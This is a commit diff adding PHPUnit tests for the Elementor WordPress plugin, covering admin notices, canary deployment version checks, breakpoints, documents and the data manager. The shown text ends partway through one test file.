first commit

This commit is contained in:
2024-07-15 11:28:08 +02:00
commit f52d538ea5
21891 changed files with 6161164 additions and 0 deletions

View File

@@ -0,0 +1,24 @@
<?php
namespace Elementor\Testing;
class Elementor_Test_Bootstrap extends Elementor_Test_Base {
public function test_plugin_activated() {
$this->assertTrue( is_plugin_active( PLUGIN_PATH ) );
}
public function test_getInstance() {
$this->assertInstanceOf( '\Elementor\Plugin', \Elementor\Plugin::$instance );
}
public function test_Clone() {
$this->expectDoingItWrong('__clone');
$obj_cloned = clone \Elementor\Plugin::$instance;
}
public function test_Wakeup() {
$this->expectDoingItWrong('__wakeup');
unserialize( serialize( \Elementor\Plugin::$instance ) );
}
}

View File

@@ -0,0 +1,195 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Admin\Notices;
use Elementor\User;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Admin\Notices\Elementor_Dev_Notice;
use Elementor\Core\Experiments\Manager as Experiments_Manager;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Elementor_Dev_Notice extends Elementor_Test_Base {
public function tearDown() {
parent::tearDown();
$experiments = $this->elementor()->experiments;
$features = $experiments->get_features();
foreach ( $features as $feature_name => $feature ) {
$experiments->remove_feature( $feature_name );
}
}
/** @dataProvider promotion_options_data_provider */
public function test_should_print__when_option_is_enabled( $option_name ) {
// Arrange
$this->act_as_admin_or_network_admin();
update_option( $option_name, 'yes' );
$notice = $this->mock_notice();
// Act
$result = $notice->should_print();
// Assert
$this->assertTrue( $result );
delete_option( $option_name );
}
public function promotion_options_data_provider() {
return [
[ 'elementor_beta' ],
];
}
/** @dataProvider promotion_plugins_data_provider */
public function test_should_print__when_plugin_is_installed( $plugin_name ) {
// Arrange
$this->act_as_admin_or_network_admin();
$notice = $this->mock_notice( [ $plugin_name ] );
// Act
$result = $notice->should_print();
// Assert
$this->assertTrue( $result );
}
public function test_should_print__when_one_experiment_in_active() {
// Arrange
$this->act_as_admin_or_network_admin();
// Demonstrates a situation when the user sets the specific feature active (different from default-active)
add_option( 'elementor_experiment-test_feature', Experiments_Manager::STATE_ACTIVE );
$this->elementor()->experiments->add_feature( [ 'name' => 'test_feature' ] );
$this->elementor()->experiments->add_feature( [ 'name' => 'test_feature2' ] );
$notice = $this->mock_notice();
// Act
$result = $notice->should_print();
// Assert
$this->assertTrue( $result );
}
public function promotion_plugins_data_provider() {
return [
[ 'woocommerce-beta-tester/woocommerce-beta-tester.php' ],
[ 'wp-jquery-update-test/wp-jquery-update-test.php' ],
[ 'wordpress-beta-tester/wp-beta-tester.php' ],
[ 'gutenberg/gutenberg.php' ],
];
}
public function test_should_print__should_not_print_when_user_cannot_install_plugins() {
// Arrange
$this->act_as_editor();
update_option( 'elementor_beta', 'yes' );
$notice = $this->mock_notice();
// Act
$result = $notice->should_print();
// Assert
$this->assertFalse( $result );
delete_option( 'elementor_beta' );
}
public function test_should_print__should_not_print_when_user_dismissed_the_notice() {
// Arrange
$this->act_as_admin_or_network_admin();
update_option( 'elementor_beta', 'yes' );
$notice = $this->mock_notice();
update_user_meta( get_current_user_id(), User::ADMIN_NOTICES_KEY, [ Elementor_Dev_Notice::ID => 'true' ] );
// Act
$result = $notice->should_print();
// Assert
$this->assertFalse( $result );
delete_option( 'elementor_beta' );
}
public function test_should_print__should_not_print_when_elementor_dev_installed() {
// Arrange
$this->act_as_admin_or_network_admin();
$notice = $this->mock_notice( [ 'elementor-dev/elementor-dev.php' ] );
// Act
$result = $notice->should_print();
// Assert
$this->assertFalse( $result );
delete_option( 'elementor_beta' );
}
public function test_should_print__should_not_print_when_user_in_install_page() {
// Arrange
$this->act_as_admin_or_network_admin();
set_current_screen( 'update' );
update_option( 'elementor_beta', 'yes' );
$notice = $this->mock_notice();
// Act
$result = $notice->should_print();
// Assert
$this->assertFalse( $result );
delete_option( 'elementor_beta' );
}
public function test_should_print__should_not_print_when_there_nothing_that_trigger_promotion() {
// Arrange
$this->act_as_admin_or_network_admin();
$notice = $this->mock_notice();
add_option( 'elementor_experiment-test_feature', Experiments_Manager::STATE_INACTIVE );
$this->elementor()->experiments->add_feature( [ 'name' => 'test_feature' ] );
add_option( 'elementor_experiment-test_feature2', Experiments_Manager::STATE_DEFAULT );
$this->elementor()->experiments->add_feature( [ 'name' => 'test_feature2' ] );
// Act
$result = $notice->should_print();
// Assert
$this->assertFalse( $result );
}
/**
* @param array $plugins
*
* @return Elementor_Dev_Notice
*/
private function mock_notice( $plugins = [] ) {
$notice = $this->getMockBuilder( Elementor_Dev_Notice::class )
->setMethods( [ 'get_plugins' ] )
->getMock();
$notice->method( 'get_plugins' )->willReturn( $plugins );
/** @var Elementor_Dev_Notice $notice */
return $notice;
}
}

View File

@@ -0,0 +1,71 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Admin;
use Elementor\Core\Admin\Admin_Notices;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Core\Admin\Notices\Base_Notice;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Admin_Notices extends Elementor_Test_Base {
public function test_admin_notices() {
// Arrange
$notice = $this->getMockBuilder( Base_Notice::class )
->setMethods( [ 'should_print', 'get_config' ] )
->getMock();
$notice->method( 'should_print' )->willReturn( true );
$notice->method( 'get_config' )->willReturn( [
'id' => 'test_id',
'title' => 'test title',
'description' => 'test description',
] );
add_filter( 'elementor/core/admin/notices', function () use ( $notice ) {
return [ $notice ];
} );
new Admin_Notices();
// Act
ob_start();
do_action( 'admin_notices' );
$result = ob_get_clean();
// Assert
$this->assertRegExp( '/\<h3\>test title\<\/h3\>/', $result );
$this->assertRegExp( '/\<p\>test description\<\/p\>/', $result );
$this->assertRegExp( '/data-notice_id="test_id"/', $result );
}
public function test_admin_notices__should_not_print_if_should_print_returns_false() {
// Arrange
$notice = $this->getMockBuilder( Base_Notice::class )
->setMethods( [ 'should_print', 'get_config' ] )
->getMock();
$notice->method( 'should_print' )->willReturn( false );
$notice->method( 'get_config' )->willReturn( [ 'id' => 'test_id' ] );
add_filter( 'elementor/core/admin/notices', function () use ( $notice ) {
return [ $notice ];
} );
new Admin_Notices();
// Act
ob_start();
do_action( 'admin_notices' );
$result = ob_get_clean();
// Assert
$this->assertEmpty( $result );
}
}

View File

@@ -0,0 +1,136 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Admin;
use Elementor\Plugin;
use Elementor\Core\Admin\Admin;
use Elementor\Core\Base\Document;
use Elementor\Testing\Elementor_Test_Base;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Test_Admin extends Elementor_Test_Base {
/**
* @var string
*/
private $pagenow;
public function setUp() {
global $pagenow;
parent::setUp();
$this->pagenow = $pagenow;
}
public function tearDown() {
global $pagenow;
parent::tearDown();
$pagenow = $this->pagenow;
}
public function test_save_post() {
// Arrange
$admin = new Admin();
$post = $this->factory()->create_and_get_custom_post( [] );
$_POST['_elementor_edit_mode_nonce'] = wp_create_nonce( 'admin.php' );
$_POST['_elementor_post_mode'] = 1;
// Act
$admin->save_post( $post->ID );
// Assert
$this->assertEquals( 'builder', get_post_meta( $post->ID, Document::BUILT_WITH_ELEMENTOR_META_KEY, true ) );
}
public function test_save_post__when_saved_outside_of_elementor_it_will_not_change() {
// Arrange
$admin = new Admin();
$post = $this->factory()->create_and_get_custom_post( [] );
// Act
$admin->save_post( $post->ID );
// Assert
$this->assertEmpty( get_post_meta( $post->ID, Document::BUILT_WITH_ELEMENTOR_META_KEY, true ) );
}
public function test_add_elementor_post_state() {
// Arrange
$this->act_as_admin();
$admin = new Admin();
$document = $this->factory()->documents->create_and_get();
// Act
$result = $admin->add_elementor_post_state( [], $document->get_post() );
// Assert
$this->assertArrayHasKey( 'elementor', $result );
}
public function test_add_elementor_post_state__should_no_add_elementor() {
// Arrange
$this->act_as_admin();
$admin = new Admin();
$post = $this->factory()->post->create_and_get();
// Act
$result = $admin->add_elementor_post_state( [], $post );
// Assert
$this->assertArrayNotHasKey( 'elementor', $result );
}
public function test_add_elementor_post_state__should_not_add_elementor_without_permissions() {
// Arrange
$this->act_as_subscriber();
$admin = new Admin();
$document = $this->factory()->documents->create_and_get();
// Act
$result = $admin->add_elementor_post_state( [], $document->get_post() );
// Assert
$this->assertArrayNotHasKey( 'elementor', $result );
}
public function test_body_statues_classes() {
// Arrange
global $pagenow;
$pagenow = 'post.php';
new Admin();
$post = $this->factory()->post->create_and_get();
Plugin::$instance->db->switch_to_post( $post->ID );
// Act
$result = apply_filters( 'admin_body_class', '' );
// Assert
$this->assertRegExp( '/elementor-editor-inactive/', $result );
}
public function test_body_statues_classes__when_edit_with_elementor() {
// Arrange
global $pagenow;
$pagenow = 'post.php';
new Admin();
$document = $this->factory()->documents->create_and_get();
Plugin::$instance->db->switch_to_post( $document->get_id() );
// Act
$result = apply_filters( 'admin_body_class', '' );
// Assert
$this->assertRegExp( '/elementor-editor-active/', $result );
}
}

View File

@@ -0,0 +1,319 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Admin;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
class Test_Canary_Deployment extends Elementor_Test_Base {
const CURRENT_VERSION = ELEMENTOR_VERSION;
const PLUGIN_BASE = ELEMENTOR_PLUGIN_BASE;
const PLUGIN_FILE = ELEMENTOR__FILE__;
const CANARY_DEPLOYMENT_CLASS = 'Elementor\Core\Admin\Canary_Deployment';
const TRANSIENT_KEY_PREFIX = 'elementor_remote_info_api_data_';
public function setUp() {
parent::setUp();
// Create an instance if not exist. (on test only this class).
Plugin::instance();
}
/**
* On first plugins updates check, the initial transient is empty. canary SHOULD NOT filter the data.
*/
public function test_wp_no_response() {
$canary_version = $this->increase_version( static::CURRENT_VERSION );
$this->set_api_info( $canary_version );
// Empty data.
$wp_plugins_transient = (object)[
'last_checked' => time(),
];
$filtered_transient = $this->canary_check( $wp_plugins_transient );
$this->assertSame( $wp_plugins_transient, $filtered_transient );
}
/**
* If the stable doesn't has updates. canary SHOULD add his new version.
*/
public function test_no_stable_update() {
$canary_version = $this->increase_version( static::CURRENT_VERSION );
$this->set_api_info( $canary_version );
$filtered_transient = $this->canary_check();
$this->assertSame( $canary_version, $filtered_transient->response[ static::PLUGIN_BASE ]->new_version );
}
/**
* If both canary and stable version has updates, but canary is newer. canary SHOULD add his new version.
*/
public function test_canary_is_newer() {
$stable_newer_version = $this->increase_version( static::CURRENT_VERSION );
$canary_version = $this->increase_version( $stable_newer_version );
$this->set_api_info( $canary_version );
// Empty data.
$wp_plugins_transient = (object)[
'last_checked' => time(),
'response' => [
static::PLUGIN_BASE => (object) [
'new_version' => $stable_newer_version,
]
]
];
$filtered_transient = $this->canary_check( $wp_plugins_transient );
$this->assertSame( $canary_version, $filtered_transient->response[ static::PLUGIN_BASE ]->new_version );
}
/**
* If the stable version has newer updates. canary SHOULD NOT add his new version.
*/
public function test_stable_is_newer() {
$canary_version = $this->increase_version( static::CURRENT_VERSION );
$this->set_api_info( $canary_version );
$stable_newer_version = $this->increase_version( $canary_version );
// Empty data.
$wp_plugins_transient = (object)[
'last_checked' => time(),
'response' => [
static::PLUGIN_BASE => (object) [
'new_version' => $stable_newer_version,
]
]
];
$filtered_transient = $this->canary_check( $wp_plugins_transient );
$this->assertSame( $stable_newer_version, $filtered_transient->response[ static::PLUGIN_BASE ]->new_version );
}
public function test_condition_type_wordpress() {
$condition = [
'type' => 'wordpress',
'operator' => '>',
];
// Bigger than.
$condition['version'] = $this->increase_version( $GLOBALS['wp_version'] );
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Equal.
$condition['version'] = $GLOBALS['wp_version'];
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Lower than.
$condition['version'] = $this->decrease_version( $GLOBALS['wp_version'] );
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
}
public function test_condition_type_multisite() {
$condition = [
'type' => 'multisite',
];
// Same as current.
$condition['multisite'] = is_multisite();
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
// Vice versa.
$condition['multisite'] = ! is_multisite();
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
}
public function test_condition_type_language() {
$condition = [
'type' => 'language',
'languages' => [ 'en_US' ],
];
// Same as current.
$condition['operator'] = 'in';
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
// Vice versa.
$condition['operator'] = 'not_in';
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
}
public function test_condition_type_plugin() {
// Not active.
$filtered_transient = $this->check_condition( [
'type' => 'plugin',
'plugin' => 'not-exist-plugin.php',
'version' => '',
'operator' => '=',
] );
$this->assertNotEmpty( $filtered_transient->response );
// On tests, the plugin base (for `is_plugin_active`) is 'elementor/elementor.php', but the real file (for `get_plugin_data`) is static::PLUGIN_BASE.
$condition = [
'type' => 'plugin',
'plugin' => PLUGIN_PATH, // @see tests/bootstrap.php:14.
'plugin_file' => static::PLUGIN_FILE,
'operator' => '>',
];
// Active.
$condition['version'] = '0';
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
// Bigger than.
$condition['version'] = $this->increase_version( static::CURRENT_VERSION );
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Equal.
$condition['version'] = static::CURRENT_VERSION;
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Lower than.
$condition['version'] = $this->decrease_version( static::CURRENT_VERSION );
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
}
public function test_condition_type_theme() {
// Not active.
$filtered_transient = $this->check_condition( [
'type' => 'theme',
'theme' => 'not-active-theme',
'version' => '',
'operator' => '=',
] );
$this->assertNotEmpty( $filtered_transient->response );
$theme = wp_get_theme();
$condition = [
'type' => 'theme',
'theme' => $theme->get_template(),
'operator' => '>',
];
// Active.
$condition['version'] = '0';
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
// Bigger than.
$condition['version'] = $this->increase_version( $theme->version );
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Equal.
$condition['version'] = $theme->version;
$filtered_transient = $this->check_condition( $condition );
$this->assertEmpty( $filtered_transient->response );
// Lower than.
$condition['version'] = $this->decrease_version( $theme->version );
$filtered_transient = $this->check_condition( $condition );
$this->assertNotEmpty( $filtered_transient->response );
}
public function test_condition_group() {
$group = [
// Valid.
[
'type' => 'wordpress',
'version' => $GLOBALS['wp_version'],
'operator' => '=',
],
// Not valid.
[
'type' => 'wordpress',
'version' => $GLOBALS['wp_version'],
'operator' => '>',
]
];
// Relation `AND`. All conditions should pass.
$filtered_transient = $this->check_conditions_group( $group );
$this->assertEmpty( $filtered_transient->response );
// Relation `OR`. One condition should pass.
$group['relation'] = 'OR';
$filtered_transient = $this->check_conditions_group( $group );
$this->assertNotEmpty( $filtered_transient->response );
}
private function check_condition( $condition ) {
return $this->check_conditions_group( [
$condition,
] );
}
private function check_conditions_group( $group ) {
$canary_version = $this->increase_version( static::CURRENT_VERSION );
$this->set_api_info( $canary_version, [
$group
] );
$wp_plugins_transient = (object)[
'last_checked' => time(),
'response' => []
];
return $this->canary_check( $wp_plugins_transient );
}
private function set_api_info( $canary_version, $conditions = [] ) {
$elementor_api_data_transient_key = self::TRANSIENT_KEY_PREFIX . static::CURRENT_VERSION;
set_transient( $elementor_api_data_transient_key, [
'canary_deployment' => [
'plugin_info' => [
'new_version' => $canary_version,
],
'conditions' => $conditions,
],
] );
}
private function increase_version( $version ) {
return $version . '1';
}
private function decrease_version( $version ) {
$version_parts = explode( '.', $version );
array_pop( $version_parts );
return implode( '.', $version_parts );
}
private function canary_check( $transient = null ) {
if ( null === $transient ) {
$transient = (object)[
'last_checked' => time(),
'response' => []
];
}
$class_name = static::CANARY_DEPLOYMENT_CLASS;
$cd = new $class_name();
return $cd->check_version( $transient );
}
}

View File

@@ -0,0 +1,33 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\App;
use Elementor\Core\App\App;
use Elementor\Plugin;
use Elementor\TemplateLibrary\Source_Local;
use Elementor\Testing\Elementor_Test_Base;
class Test_App extends Elementor_Test_Base {
static $submenu_mock = [
Source_Local::ADMIN_MENU_SLUG => [
[
2 => App::PAGE_ID,
]
],
];
public function test_fix_submenu() {
global $submenu;
// Test it works.
$test_description = 'menu should get the app default route URL.';
$submenu = self::$submenu_mock;
Plugin::$instance->app->fix_submenu( [] );
$this->assertEquals( Plugin::$instance->app->get_settings( 'menu_url' ), $submenu[ Source_Local::ADMIN_MENU_SLUG ][0][2], $test_description );
// Empty submenu.
$test_description = 'empty menu should stay empty without errors.';
$submenu = [];
Plugin::$instance->app->fix_submenu( [] );
$this->assertEquals( [], $submenu, $test_description );
}
}

View File

@@ -0,0 +1,9 @@
<?php
namespace Elementor\Testing\Core\Base;
class Document extends \Elementor\Core\Base\Document {
public function get_name() {
return 'test-document';
}
}

View File

@@ -0,0 +1,37 @@
<?php
namespace Elementor\Testing\Core\Base;
use Elementor\Core\Base\Base_Object;
use Elementor\Testing\Elementor_Test_Base;
class Test_Base_Object extends Elementor_Test_Base {
public function test_has_own_method() {
$child_class = new Has_Own_Method_Child_Test_Class();
// Tests with only 1 parameter (method name) passed to has_own_method().
$this->assertTrue( $child_class->has_own_method( 'uninherited_method' ) );
$this->assertFalse( $child_class->has_own_method( 'inherited_method' ) );
// Tests with both parameters (method name and base class name) passed to has_own_method().
$this->assertTrue( $child_class->has_own_method( 'inherited_from_grandparent_method', Has_Own_Method_Parent_Test_Class::class ) );
// If the passed method was declared in the passed class, has_own_method() will return false.
$this->assertFalse( $child_class->has_own_method( 'inherited_from_grandparent_method', Has_Own_Method_GrandParent_Test_Class::class ) );
}
}
// For testing has_own_method() with a provided class name (second parameter)
class Has_Own_Method_GrandParent_Test_Class extends Base_Object {
public function inherited_from_grandparent_method() {}
}
class Has_Own_Method_Parent_Test_Class extends Has_Own_Method_GrandParent_Test_Class {
public function inherited_method() {}
public function uninherited_method() {}
}
class Has_Own_Method_Child_Test_Class extends Has_Own_Method_Parent_Test_Class {
public function uninherited_method() {}
}

View File

@@ -0,0 +1,118 @@
<?php
namespace Elementor\Testing\Core\Base;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Plugin;
use Elementor\Controls_Manager;
class Test_Document extends Elementor_Test_Base {
/**
* @var array
*/
static $document_mock_default = [
'settings' => [
'post_status' => 'publish',
'background_background' => 'classic',
'background_color' => '#ffffff',
],
'elements' => [
[
'id' => 'd50d8c5',
'elType' => 'section',
'isInner' => false,
'settings' => [],
'elements' => [
[
'id' => 'a2e9b68',
'elType' => 'column',
'isInner' => false,
'settings' => [ '_column_size' => 100 ],
'elements' => [
[
'id' => '5a1e8e5',
'elType' => 'widget',
'settings' => [
'style' => 'dots_tribal',
'text' => 'Divider',
],
'elements' => [],
'widgetType' => 'divider',
],
],
],
],
],
]
];
public function test_save() {
// Arrange.
require_once __DIR__ . '/document.php';
$this->act_as_admin();
$post = $this->factory()->create_and_get_default_post();
$document = new Document( [
'post_id' => $post->ID,
] );
$expected_document_settings = self::$document_mock_default['settings'];
// The post status is not saved to the document settings in order to avoid conflicts with `wo_posts.post_status` column.
unset( $expected_document_settings['post_status'] );
// Act.
$document->save( self::$document_mock_default );
// Assert.
$this->assertEquals( self::$document_mock_default['elements'], $document->get_elements_data() );
$this->assertEquals( $expected_document_settings, $document->get_db_document_settings() );
}
// TODO: Full test of get_editor_panel_config.
public function test_get_editor_panel_config_ensure_default_route() {
$before_user = wp_get_current_user();
// Set editor user.
wp_set_current_user( $this->factory()->get_editor_user()->ID );
$default_route_excepted = 'panel/elements/categories';
$document = Plugin::$instance->documents->get( $this->factory()->create_and_get_default_post()->ID );
query_posts( [
'p' => $document->get_main_id(),
] );
the_post();
$config = $document->get_config();
$this->assertEquals( $default_route_excepted, $config['panel']['default_route'],
"Ensure user without design restriction have '$default_route_excepted' as default route");
add_filter( 'elementor/editor/user/restrictions', function( $restrictions ) {
$restrictions['editor'] = [ 'design' ];
return $restrictions;
} );
$default_route_excepted = 'panel/page-settings/settings';
$document = Plugin::$instance->documents->get( $this->factory()->create_and_get_default_post()->ID );
$config = $document->get_config();
$this->assertEquals( $default_route_excepted, $config['panel']['default_route'],
"Ensure user with design restriction have '$default_route_excepted' as default route");
wp_set_current_user( $before_user->ID );
}
public function tearDown() {
parent::tearDown();
remove_action( 'elementor/element/section/section_layout/after_section_start', [ __CLASS__, 'add_external_control' ] );
}
}

View File

@@ -0,0 +1,114 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Breakpoints;
use Elementor\Core\Breakpoints\Breakpoint;
use Elementor\Core\Breakpoints\Manager as Breakpoints_Manager;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Testing\Traits\Breakpoints_Trait;
use Elementor\Testing\Traits\Extra_Assertions;
class Test_Breakpoint extends Elementor_Test_Base {
use Extra_Assertions;
use Breakpoints_Trait;
/**
* Test Get Name
*
* Tests Breakpoint::get_name() for all breakpoints.
*
* @since 3.2.0
*/
public function test_get_name() {
$breakpoint = $this->create_breakpoint();
$this->assertEquals( 'test', $breakpoint->get_name() );
}
/**
* Test Is Enabled
*
* Tests Breakpoint::get_config().
*
* @since 3.2.0
*/
public function test_is_enabled() {
$breakpoint = $this->create_breakpoint();
$this->assertTrue( $breakpoint->is_enabled() );
}
/**
* Test Get Value
*
* Tests Breakpoint::get_value() for all breakpoints.
*
* @since 3.2.0
*/
public function test_get_value() {
$breakpoint = $this->create_breakpoint();
$this->assertEquals( 800, $breakpoint->get_value() );
}
/**
* Test Is Custom
*
* Tests Breakpoint::is_custom() for all breakpoints.
*
* @since 3.2.0
*/
public function test_is_custom() {
$this->set_custom_breakpoint_and_refresh_kit_and_breakpoints( 900 );
$tablet_breakpoint = Plugin::$instance->breakpoints->get_breakpoints( 'tablet' );
$this->assertTrue( $tablet_breakpoint->is_custom() );
}
/**
* Test Get Default Value
*
* Tests Breakpoint::get_default_value() for all breakpoints.
*
* @since 3.2.0
*/
public function test_get_default_value() {
$breakpoint = $this->create_breakpoint();
$this->assertEquals( 800, $breakpoint->get_default_value() );
}
/**
* Test Get Direction
*
* Tests Breakpoint::get_direction() for all breakpoints.
*
* @since 3.2.0
*/
public function test_get_direction() {
$breakpoint = $this->create_breakpoint();
$this->assertEquals( 'max', $breakpoint->get_direction() );
}
/**
* Create Breakpoint
*
* Creates and returns a test breakpoint.
*
* @since 3.2.0
*
* @return Breakpoint
*/
private function create_breakpoint() {
return new Breakpoint( [
'name' => 'test',
'label' => 'Test',
'direction' => 'max',
'is_enabled' => true,
'default_value' => 800,
] );
}
}

View File

@@ -0,0 +1,151 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Breakpoints;
use Elementor\Core\Breakpoints\Breakpoint;
use Elementor\Core\Breakpoints\Manager as Breakpoints_Manager;
use Elementor\Plugin;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Testing\Traits\Breakpoints_Trait;
class Test_Manager extends Elementor_Test_Base {
use Breakpoints_Trait;
/**
* Test Get Name
*
* Test the Breakpoints_Manager::get_name() method.
*
* @since 3.2.0
*/
public function test_get_name() {
$this->assertEquals( 'breakpoints', Plugin::$instance->breakpoints->get_name() );
}
/**
* Test Get Breakpoints
*
* Test the Breakpoints_Manager::get_breakpoints() method.
*
* @since 3.2.0
*/
public function test_get_breakpoints() {
$breakpoints = Plugin::$instance->breakpoints->get_breakpoints();
// Check that the breakpoints array contains exactly the same amount of keys as in the default config.
$this->assertEmpty( array_diff_key( Breakpoints_Manager::get_default_config(), $breakpoints ) );
}
/**
* Test Get Active Breakpoints
*
* Test the Breakpoints_Manager::get_breakpoints() method.
*
* @since 3.2.0
*/
public function test_get_active_breakpoints() {
$breakpoints = Plugin::$instance->breakpoints->get_breakpoints();
$active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints();
$test_array = [];
foreach ( $breakpoints as $breakpoint_name => $breakpoint_instance ) {
/** @var Breakpoint $breakpoint_instance */
if ( $breakpoint_instance->is_enabled() ) {
$test_array[ $breakpoint_name ] = $breakpoint_instance;
}
}
$this->assertEquals( $active_breakpoints, $test_array );
}
/**
* Test Has Custom Breakpoints
*
* Test the Breakpoints_Manager::has_custom_breakpoints() method.
*
* @since 3.2.0
*/
public function test_has_custom_breakpoints() {
// If this has already been called once with a value, we call it again to set it to its initial empty value.
$this->set_custom_breakpoint_and_refresh_kit_and_breakpoints( '' );
// We know the breakpoint settings are empty and have no custom values. Assert it.
$this->assertFalse( Plugin::$instance->breakpoints->has_custom_breakpoints() );
$this->set_custom_breakpoint_and_refresh_kit_and_breakpoints( 900 );
$this->assertTrue( Plugin::$instance->breakpoints->has_custom_breakpoints() );
}
/**
* Test Get Device Min Breakpoint
*
* Test the Breakpoints_Manager::get_device_min_breakpoint() method.
* This test only tests the default breakpoints (mobile, tablet).
*
* @since 3.2.0
*/
public function test_get_device_min_breakpoint() {
$active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints();
$this->assertEquals( $active_breakpoints[ Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ]->get_value() + 1, Plugin::$instance->breakpoints->get_device_min_breakpoint( Breakpoints_Manager::BREAKPOINT_KEY_TABLET ) );
}
/**
* Test Get Device Min Breakpoint - Mobile
*
* Test the Breakpoints_Manager::get_device_min_breakpoint() method for the mobile device case, which is a special
* case.
*
* @since 3.2.0
*/
public function test_get_device_min_breakpoint_mobile() {
$active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints();
// Test for mobile specifically, which always has a min point of 320.
$this->assertEquals( 320, Plugin::$instance->breakpoints->get_device_min_breakpoint( Breakpoints_Manager::BREAKPOINT_KEY_MOBILE ) );
}
/**
* Test Get Desktop Min Breakpoint
*
* Test the Breakpoints_Manager::get_desktop_min_point() method with default active breakpoints.
*
* @since 3.2.0
*/
public function test_get_desktop_min_point() {
$tablet_breakpoint = Plugin::$instance->breakpoints->get_breakpoints( 'tablet' );
$this->assertEquals( $tablet_breakpoint->get_value() + 1, Plugin::$instance->breakpoints->get_desktop_min_point() );
}
/**
* Test Get Desktop Min Breakpoint When Laptop Enabled
*
* Test the Breakpoints_Manager::get_desktop_min_point() method when the laptop breakpoint is enabled.
*
* @since 3.2.0
*/
public function test_get_desktop_min_point_when_laptop_enabled() {
$this->set_admin_user();
$kit = Plugin::$instance->kits_manager->get_active_kit();
$kit_settings = $kit->get_settings();
// Add the laptop breakpoint to the active breakpoints setting.
$kit_settings['active_breakpoints'][] = 'viewport_laptop';
// Save kit settings.
$kit->save( [ 'settings' => $kit_settings ] );
// Refresh kit.
$kit = Plugin::$instance->documents->get( $kit->get_id(), false );
Plugin::$instance->breakpoints->refresh();
$laptop_breakpoint = Plugin::$instance->breakpoints->get_breakpoints( 'laptop' );
return $this->assertEquals( $laptop_breakpoint->get_value() + 1, Plugin::$instance->breakpoints->get_desktop_min_point() );
}
}

View File

@@ -0,0 +1,23 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Data\Base\Mock\Base;
class Endpoint extends \Elementor\Data\Base\Endpoint {
public function get_name() {
static $name = null;
if ( ! $name ) {
$name = 'test-endpoint-' . rand_long_str( 5 );
}
return $name;
}
public function get_items( $request ) {
return [
'someKey' => [
'fakeKey' => 'fakeValue'
],
];
}
}

View File

@@ -0,0 +1,279 @@
<?php
namespace Elementor\Tests\Phpunit\Elementor\Core\Data;
use Elementor\Data\Base\Processor;
use Elementor\Data\Manager;
use Elementor\Testing\Elementor_Test_Base;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Template\Controller as ControllerTemplate;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Simple\Controller as ControllerSimple;
use Elementor\Tests\Phpunit\Elementor\Data\Base\Mock\Processor\Controller as ControllerWithProcessor;
class Test_Manager extends Elementor_Test_Base {
/**
* @var \Elementor\Data\Manager
*/
protected $manager;
public function setUp() {
parent::setUp();
$this->manager = Manager::instance();
$this->manager->kill_server();
}
public function tearDown() {
parent::tearDown();
$this->manager->kill_server();
}
public function test_get_controllers() {
$controller = $this->manager->register_controller( ControllerTemplate::class );
$controllers = $this->manager->get_controllers();
$this->assertCount( 1, $controllers );
$this->assertArrayHasKey( $controller->get_name(), $controllers );
}
public function test_register_controller() {
$controller = $this->manager->register_controller( ControllerTemplate::class );
$this->assertArrayHasKey( $controller->get_name(), $this->manager->controllers );
}
public function test_register_controller_instance() {
$controller = new ControllerTemplate();
$controller = $this->manager->register_controller_instance( $controller );
$this->assertArrayHasKey( $controller->get_name(), $this->manager->controllers );
}
public function test_register_endpoint_format() {
$controller = new ControllerTemplate();
$this->manager->register_endpoint_format( 'test-command', 'test-command/{test-format}' );
$this->assertEquals( 'test-command/{test-format}', $this->manager->command_formats['test-command'] );
}
public function test_find_controller_instance() {
$controller = new ControllerTemplate();
$controller = $this->manager->register_controller_instance( $controller );
// Case controller name.
$this->assertEquals( $controller, $this->manager->find_controller_instance( $controller->get_name() ));
}
public function test_find_controller_instance_advance() {
$controller = new ControllerSimple(); // controller with endpoint.
$controller = $this->manager->register_controller_instance( $controller );
$this->manager->run_server();
$endpoint_instance = array_values( $controller->endpoints )[ 0 ];
// Case controller + endpoint name.
$this->assertEquals( $controller, $this->manager->find_controller_instance( $controller->get_name() . '/' . $endpoint_instance->get_name() ));
}
